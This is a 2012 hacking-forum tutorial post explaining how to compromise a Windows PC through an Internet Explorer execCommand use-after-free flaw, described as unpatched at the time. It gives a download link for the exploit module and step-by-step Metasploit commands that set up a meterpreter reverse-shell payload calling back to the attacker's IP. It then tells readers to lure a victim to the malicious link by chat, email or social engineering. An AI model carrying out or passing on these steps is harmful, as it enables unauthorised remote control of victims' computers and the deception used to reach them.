+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Hack Remote PC using Microsoft Internet Explorer exec Command Use-After-Free Vulnerab (/Thread-Hack-Remote-PC-using-Microsoft-Internet-Explorer-exec-Command-Use-After-Free-Vulnerab)
Hack Remote PC using Microsoft Internet Explorer exec Command Use-After-Free Vulnerab - curtis5000 - 09-27-2012
This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012, and there is currently no official patch for it.
Exploit Targets
Internet Explorer 7 on XP SP2
Internet Explorer 8 on Windows 7
Requirement
Attacker: Backtrack 5
ie_execcommand_uaf.rb Download here: http://sharesend.com/download/seh4r
save to root / modules / exploits / windows / browser /
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/browser/ie_execcommand_uaf
show options
set SRVHOST <your IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your IP>
show options
exploit
you will get something like this
http://192.168.1.100:8080/QAzDMia
Send the link to your victim via chat or email or any social engineering technique.
Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“
Have FUN.